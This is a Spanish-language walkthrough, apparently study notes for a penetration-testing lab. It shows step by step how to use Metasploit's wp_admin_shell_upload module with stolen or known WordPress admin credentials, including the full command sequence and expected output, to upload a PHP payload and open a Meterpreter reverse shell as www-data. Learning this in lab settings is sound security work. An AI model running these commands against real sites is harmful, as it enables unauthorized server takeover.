WordPress - Explotación con Metasploit (wp_admin_shell_upload)

🎯 Objetivo

Usar el Metasploit Framework (MSF) para automatizar la obtención de una reverse shell en el servidor que ejecuta WordPress 🧠
Este método requiere credenciales válidas con permisos suficientes para subir archivos al sitio.


⚙️ 1️⃣ Iniciar Metasploit

Abrimos Metasploit Framework desde la terminal 🖥️:

msfconsole

🧠 Este comando inicia el entorno interactivo de Metasploit, desde donde gestionaremos módulos, cargas útiles (payloads) y sesiones.


🔍 2️⃣ Buscar el módulo adecuado

Buscamos módulos relacionados con WordPress y administración 🕵️‍♂️:

search wp_admin

🧾 Salida esperada:

Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/webapp/wp_admin_shell_upload 2015-02-21 excellent Yes WordPress Admin Shell Upload

🧩 Este módulo (exploit/unix/webapp/wp_admin_shell_upload) nos permite subir una shell PHP maliciosa a través de una cuenta admin válida.


🧰 3️⃣ Seleccionar el módulo

Usamos el ID del módulo (en este caso, 0) para seleccionarlo rápidamente:

use 0

📌 Ahora tu prompt debería verse así:

msf6 exploit(unix/webapp/wp_admin_shell_upload) >


⚙️ 4️⃣ Ver las opciones disponibles

Mostramos las opciones del módulo para saber qué debemos configurar:

options

🧾 Parámetros importantes:

Opción Descripción Requerido Emoji
RHOSTS Host objetivo (dominio o IP) ✅ Sí 🌐
RPORT Puerto HTTP (por defecto 80) ✅ Sí 🔌
USERNAME Usuario de WordPress ✅ Sí 👤
PASSWORD Contraseña de WordPress ✅ Sí 🔑
TARGETURI Ruta base de WordPress ✅ Sí 📁
LHOST IP local del atacante ✅ Sí 🧠

🧠 5️⃣ Configurar los parámetros

Configuramos los valores según nuestro entorno 👇

set rhosts blog.inlanefreight.com set username admin set password sunshine1 set lhost 10.10.16.8

💡 Estos datos deben coincidir con tus credenciales válidas y tu IP local (tun0 o interfaz de VPN).

Opcionalmente, puedes cambiar el puerto si usas HTTPS:

set rport 443 set ssl true


🚀 6️⃣ Ejecutar el ataque

Ejecutamos el exploit 🔥:

run

📊 Salida esperada:

[*] Started reverse TCP handler on 10.10.16.8:4444 [*] Authenticating with WordPress using admin:sunshine1... [+] Authenticated with WordPress [*] Uploading payload... [*] Executing the payload at /wp-content/plugins/xyz/uTvAAKrAdp.php... [*] Sending stage (38247 bytes) to blog.inlanefreight.com [*] Meterpreter session 1 opened [+] Deleted uTvAAKrAdp.php


🧩 7️⃣ Verificar la sesión

Una vez abierta la sesión de Meterpreter 🧠:

meterpreter > getuid

Salida esperada:

Server username: www-data (33)

🎯 Esto confirma que tenemos una shell reversa activa con el usuario del servidor web (www-data).


🧱 8️⃣ Explicación técnica

Concepto Descripción Emoji
💣 wp_admin_shell_upload Módulo que sube una shell PHP al servidor mediante el panel admin de WordPress 📂
🧠 Meterpreter Shell avanzada de Metasploit con control total del host 💻
🌐 RHOSTS / RPORT Dirección y puerto del objetivo 🔌
🔑 USERNAME / PASSWORD Credenciales de WordPress usadas para autenticarse 👤
🚀 run Ejecuta el exploit con las opciones configuradas